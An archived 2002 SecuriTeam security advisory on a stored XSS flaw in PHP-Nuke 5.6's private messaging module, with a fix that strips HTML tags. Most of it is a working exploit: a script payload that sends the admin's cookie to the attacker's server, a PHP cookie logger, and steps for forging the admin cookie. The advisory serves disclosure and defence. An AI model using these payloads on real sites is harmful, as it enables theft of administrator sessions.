

# [UNIX] PHPNuke Private Messaging Module Allows Compromising of Administrator Accounts

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0054.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/18/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Sun, 18 Aug 2002 14:29:08 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

PHPNuke Private Messaging Module Allows Compromising of Administrator Accounts

---

## SUMMARY

A vulnerability in PHPNuke's Private Messaging module allows remote attackers to steal the hashed cookie (containing the password of the administrator) thus effectively gaining administrative access to the PHPNuked site.

## DETAILS

Vulnerable systems:

- \* PHP-Nuke version 5.6

Due to a XSS flaw in PHPNuke's Private Messaging module, users can send a message with malicious HTML code, the code will be executed without any filtering upon opening of the message. The vulnerability has two versions, in old PHPNuke versions the XSS allowed theft of cookies and effectively the password stored in them (since the password was stored without any protection, namely hashing of it). In newer versions of PHPNuke (version 5.6 and above), PHPNuke hashes the passwords with the MD5 algorithm, prior to its encoding. This makes it is impossible to find the clear text equivalent of the password from a hashed password.

## Securiteam: [UNIX] PHPNuke Private Messaging Module Allows Compromising of Administrator Accounts

PHPNuke stores cookies in the following form:

```
username:md5_encrypted_pass:lang
```

Since we can get the md5\_encrypted pass all we need to do is launch a script that base64 encodes a string like the one shown before.

Impact:

Allows any user to get administrative access to a PHP-Nuke site.

Exploit:

For this exploit to work, you must create the following files in your web server's directory.

cookie.php containing this:

```
<?
$fp = fopen("cookie.txt","a");
fputs($fp, $cookie);
fclose($fp);
print "Message Not Found!"; /* this is so the admin does not get scared.
and thinks its some bug. */
?>
```

test.php containing:

```
<?
$admin = base64_encode("decoded_string");
setcookie("admin", "$admin", time()+2592000);
?>
```

To find out what to replace decoded\_string with do the following:

1. Send an appealing private message to admin containing  
`<script>document.location.replace('http://yourserver/cookie.php?cookie='+document.cookie);</script>`
2. Wait until the administrator checks the message then check cookie.txt on your server.
3. From the cookie.txt file copy the encrypted text found after admin= and before the ;
4. Go to <http://www.isecurelabs.com/base64.php> paste the copied text, click decode it should give you a string of the form of:  
username:md5\_encrypted\_passwd:language  
(Note that the language may be blank).

5. Paste the decoded string into test.php like so:

```
<?
$admin = base64_encode("paste decoded string here");
setcookie("admin", "$admin", time()+2592000);
?>
```

6. Login with a normal user to the site.

## Securiteam: [UNIX] PHPNuke Private Messaging Module Allows Compromising of Administrator Accounts

7. Send private message to yourself containing:  
<iframe src="<http://yerverver/test.php>"></iframe>

Open the message and a cookie will now be set on yer box, but it will be configured with your server's URL. So all you need to replace your URL with the site you are testing.

8. In the case of Mozilla edit cookies.txt in your  
~/mozilla/someprofile/something/ directory. Replace the URL of your server to the tested site, for other browsers just find the Cookie from your server and edit it so that instead of showing your URL it shows the URL of the tested site.

9. Restart your browser, and then go back to the tested site. You should now be an administrator.

Temporary solution:

Edit reply.php found in /modules/Private\_Messages/ and make \$message strip dangerous HTML tags. This can be done by going to line 75 in reply.php and adding this line:

```
$message = strip_tags($message, '<br><b><u><i>');
```

This line will remove any HTML tags that are not <br><b><u> or <i>. Preventing any XSS from happening.

Vendor status:

<-delusion-> was not able to contact the PHP Nuke support, further he could not find an email on their site.

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[delusi0n@bellsouth.net](mailto:delusi0n@bellsouth.net)>  
<-delusion->.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

## Securiteam: [UNIX] PHPNuke Private Messaging Module Allows Compromising of Administrator Accounts

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[\[NT\] Apache Web Server Directory Traversal and Path Disclosure Vulnerability \(non UNIX\)](#)"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)